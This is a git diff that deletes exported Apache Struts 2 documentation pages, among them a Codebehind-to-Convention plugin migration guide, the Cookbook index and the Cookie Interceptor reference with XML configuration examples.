-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="convention-plugin.html">Convention Plugin</a>&nbsp;&gt;&nbsp;<a href="converting-application-from-codebehind-to-convention-plugin.html">Converting application from Codebehind to Convention Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Converting application from Codebehind to Convention Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=106500">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=106500">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=106500">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=106500">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=106500">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=106500">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h3 id="ConvertingapplicationfromCodebehindtoConventionPlugin-Changesrequired">Changes required</h3>
-<ul><li>Replace org.apache.struts2.config.Namespace with org.apache.struts2.convention.annotation.Namespace</li><li>Replace org.apache.struts2.config.Results with org.apache.struts2.convention.annotation.Results</li><li>Replace org.apache.struts2.config.Result with org.apache.struts2.convention.annotation.Result</li><li>Update @Result uses to use result <strong>name</strong> instead of Class&lt;Result&gt;</li><li>Update @Result uses to use <strong>location</strong> instead of value attri [...]
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-Previously in Codebehind:
-Given an action named AnExampleAction, a request to /anExample -&gt; AnExampleAction.execute() -&gt; &gt; anExample-index.ftl
-
-Now in Convention:
-Given an action named AnExampleAction, a request to /an-example -&gt; AnExampleAction.execute() -&gt; an-example-index.ftl
-</pre>
-</div></div></li></ul>
-
-
-<h3 id="ConvertingapplicationfromCodebehindtoConventionPlugin-WhenRESTpluginisused">When REST plugin is used</h3>
-<p>Add these constants to struts.xml</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;constant name="struts.convention.action.suffix" value="Controller"/&gt;
-&lt;constant name="struts.convention.action.mapAllMatches" value="true"/&gt;
-&lt;constant name="struts.convention.default.parent.package" value="rest-default"/&gt;
-&lt;constant name="struts.convention.package.locators" value="example"/&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/cookbook.html b/content/docs/cookbook.html
deleted file mode 100644
index 3b8cd39..0000000
--- a/content/docs/cookbook.html
+++ /dev/null
@@ -1,276 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Cookbook</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Cookbook</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14236">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14236">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14236">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14236">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14236">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14236">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>This page is geared towards providing an exchange of information for developers.  You're welcome to share knowledge and any helpful tips here. Don't forget to check out the <a shape="rect" class="external-link" href="http://issues.apache.org/struts/http://issues.apache.org/struts/">issue tracker</a>, which may contain contributions not listed here.</p>
-
-<h2 id="Cookbook-Setup">Setup</h2>
-
-<p><a shape="rect" href="application-servers.html">Application Servers</a><br clear="none">
-<a shape="rect" href="using-maven-to-setup-an-eclipse-project-for-your-application.html">Using Maven to Setup an Eclipse Project for Your Application</a></p>
-
-<h2 id="Cookbook-Interceptors">Interceptors</h2>
-
-<p><a shape="rect" href="building-your-own-interceptor.html">Building Your Own Interceptor</a><br clear="none">
-<a shape="rect" href="interceptor-order.html">Interceptor Order</a><br clear="none">
-<a shape="rect" href="file-upload-interceptor.html">File Upload Interceptor</a><br clear="none">
-<a shape="rect" href="handling-file-uploads.html">Handling File Uploads</a><br clear="none">
-<a shape="rect" href="hibernateandspringenabledexecuteandwaitinterceptor.html">HibernateAndSpringEnabledExecuteAndWaitInterceptor</a></p>
-
-<h2 id="Cookbook-ResultExamples">Result Examples</h2>
-
-<p><a shape="rect" href="redirect-after-post.html">Redirect After Post</a><br clear="none">
-<a shape="rect" href="groovyresult.html">GroovyResult</a><br clear="none">
-<a shape="rect" href="https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=33395">JFreeChart Plugin</a><br clear="none">
-<a shape="rect" href="romeresult.html">RomeResult</a></p>
-
-<h2 id="Cookbook-Validation">Validation</h2>
-
-<p><a shape="rect" href="how-to-validate-field-formats-such-as-a-phone-number.html">How to validate field formats, such as a phone number</a></p>
-
-<h2 id="Cookbook-ServletContexts">Servlet Contexts</h2>
-
-<p><a shape="rect" href="accessing-application-session-request-objects.html">Accessing application, session, request objects</a><br clear="none">
-<a shape="rect" href="application-session-request-objects-in-jsp.html">Application, Session, Request objects in jsp</a><br clear="none">
-<a shape="rect" href="application-session-request-objects-in-vm.html">Application, Session, Request objects in vm</a></p>
-
-<h2 id="Cookbook-Tags">Tags</h2>
-
-<p><a shape="rect" href="value-stack-internals.html">Value Stack Internals</a><br clear="none">
-<a shape="rect" href="ognl.html">OGNL</a><br clear="none">
-<a shape="rect" href="describing-a-bean-in-velocity.html">Describing a bean in velocity</a><br clear="none">
-<a shape="rect" href="how-do-i-populate-a-form-bean-and-get-the-value-using-the-taglib.html">How do I populate a form bean and get the value using the taglib</a><br clear="none">
-<a shape="rect" href="tabular-inputs.html">Tabular inputs</a><br clear="none">
-<a shape="rect" href="html-form-buttons-howto.html">HTML form buttons HOWTO</a><br clear="none">
-<a shape="rect" href="using-checkboxes.html">Using Checkboxes</a><br clear="none">
-<a shape="rect" href="iterator-tag-examples.html">Iterator tag examples</a><br clear="none">
-<a shape="rect" href="how-to-format-dates-and-numbers.html">How to format dates and numbers</a><br clear="none">
-<a shape="rect" href="skinning.html">Skinning</a><br clear="none">
-<a shape="rect" href="multiple-submit-buttons.html">Multiple Submit Buttons</a><br clear="none">
-<a shape="rect" href="tabular-inputs-with-hashmap.html">Tabular inputs with HashMap</a></p>
-
-<h2 id="Cookbook-JSTL">JSTL</h2>
-
-<p><a shape="rect" href="exposing-framework-objects-to-jstl-with-a-jstl-and-displaytag-example.html">Exposing framework objects to JSTL, with a JSTL and DisplayTag Example</a><br clear="none">
-<a shape="rect" href="using-struts-and-xwork-with-jsp-20-and-jstl-11.html">Using Struts and XWork with JSP 2.0 and JSTL 1.1</a></p>
-
-<h2 id="Cookbook-Resources">Resources </h2>
-
-<ul><li><a shape="rect" class="external-link" href="http://www.vitarara.org/cms/struts2cookbook" rel="nofollow">Mark's Struts 2 Cookbook (Mark Menard) </a></li></ul>
-
-
-<h2 id="Cookbook-Next:">Next: <a shape="rect" href="home.html">Home</a></h2></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/cookie-interceptor.html b/content/docs/cookie-interceptor.html
deleted file mode 100644
index cf61c9f..0000000
--- a/content/docs/cookie-interceptor.html
+++ /dev/null
@@ -1,271 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Cookie Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="cookie-interceptor.html">Cookie Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Cookie Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=48571">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=48571">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=48571">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=48571">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=48571">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=48571">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p></p><p>
-The aim of this interceptor is to set values in the stack/action based on cookie name/value
-of interest.
-</p>
-
-<p></p><p>
-If an asterisk is present in cookiesName parameter, it will be assume that
-all cookies name are to be injected into struts' action, even though
-cookiesName is comma-separated by other values, e.g. (cookie1,*,cookie2).
-</p>
-
-<p></p><p>
-If cookiesName is left empty it will assume that no cookie will be injected
-into Struts' action.
-</p>
-
-<p></p><p>
-If an asterisk is present in cookiesValue parameter, it will assume that all
-cookies name irrespective of its value will be injected into Struts' action so
-long as the cookie name matches those specified in cookiesName parameter.
-</p>
-
-<p></p><p>
-If cookiesValue is left empty it will assume that all cookie that match the cookieName
-parameter will be injected into Struts' action.
-</p>
-
-<p></p><p>
-The action could implement CookiesAware in order to have a Map
-of filtered cookies set into it.
-</p>
-
-
-<p>Parameters</p>
-
-<p></p><ul><li>cookiesName (mandatory) - Name of cookies to be injected into the action. If more
-                                                                than one cookie name is desired it could be comma-separated.
-                                                                If all cookies name is desired, it could simply be *, an asterik.
-                                                                When many cookies name are comma-separated either of the cookie
-                                                       that match the name in the comma-separated list will be qualified.</li><li>cookiesValue (mandatory) - Value of cookies that if its name matches cookieName attribute
-                                                        and its value matched this, will be injected into Struts'
-                                                        action. If more than one cookie name is desired it could be
-                                                        comma-separated. If left empty, it will assume any value would
-                                                        be ok. If more than one value is specified (comma-separated)
-                                                        it will assume a match if either value is matched.</li><li>acceptCookieNames (optional) - Pattern used to check if name of cookie matches the provided patter, to </li></ul>
-
-
-<p>Extending the Interceptor</p>
-
-<p></p><ul><li>
-        populateCookieValueIntoStack - this method will decide if this cookie value is qualified
-        to be populated into the value stack (hence into the action itself)
-    </li><li>
-        injectIntoCookiesAwareAction - this method will inject selected cookies (as a java.util.Map)
-        into action that implements CookiesAware.
-    </li></ul>
-
-
-<p>Examples</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;!--
-  This example will inject cookies named either &#39;cookie1&#39; or &#39;cookie2&#39; whose
-  value could be either &#39;cookie1value&#39; or &#39;cookie2value&#39; into Struts&#39; action.
---&gt;
-&lt;action ... &gt;
-   &lt;interceptor-ref name=&quot;cookie&quot;&gt;
-       &lt;param name=&quot;cookiesName&quot;&gt;cookie1, cookie2&lt;/param&gt;
-       &lt;param name=&quot;cookiesValue&quot;&gt;cookie1value, cookie2value&lt;/param&gt;
-   &lt;/interceptor-ref&gt;
-   ....
-&lt;/action&gt;
-
-
-&lt;!--
-     This example will inject cookies named either &#39;cookie1&#39; or &#39;cookie2&#39;
-    regardless of their value into Struts&#39; action.
---&gt;
-&lt;action ... &gt;
-  &lt;interceptor-ref name=&quot;cookie&quot;&gt;
-     &lt;param name=&quot;cookiesName&quot;&gt;cookie1, cookie2&lt;/param&gt;
-     &lt;param name=&quot;cookiesValue&quot;&gt;*&lt;/param&gt;
-  &lt;interceptor-ref&gt;
-  ...
-&lt;/action&gt;
-
-
-&lt;!--
-     This example will inject cookies named either &#39;cookie1&#39; with value
-     &#39;cookie1value&#39; or &#39;cookie2&#39; with value &#39;cookie2value&#39; into Struts&#39;
-     action.
---&gt;
-&lt;action ... &gt;
-  &lt;interceptor-ref name=&quot;cookie&quot;&gt;
-     &lt;param name=&quot;cookiesName&quot;&gt;cookie1&lt;/param&gt;
-     &lt;param name=&quot;cookiesValue&quot;&gt;cookie1value&lt;/param&gt;
-  &lt;/interceptor-ref&gt;
-  &lt;interceptor-ref name=&quot;cookie&quot;&gt;
-     &lt;param name=&quot;cookiesName&quot;&lt;cookie2&lt;/param&gt;
-    &lt;param name=&quot;cookiesValue&quot;&gt;cookie2value&lt;/param&gt;
-  &lt;/interceptor-ref&gt;
-  ....
-&lt;/action&gt;
-
-&lt;!--
-   This example will inject any cookies regardless of its value into
-   Struts&#39; action.
- --&gt;
-&lt;action ... &gt;
-  &lt;interceptor-ref name=&quot;cookie&quot;&gt;
-     &lt;param name=&quot;cookiesName&quot;&gt;*&lt;/param&gt;
-     &lt;param name=&quot;cookiesValue&quot;&gt;*&lt;/param&gt;
-  &lt;/interceptor-ref&gt;
-   ...
-&lt;/action&gt;
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/cookieprovider-interceptor.html b/content/docs/cookieprovider-interceptor.html
deleted file mode 100644
index 0bde2a5..0000000
--- a/content/docs/cookieprovider-interceptor.html
+++ /dev/null
@@ -1,176 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>CookieProvider Interceptor</title>
-</head>
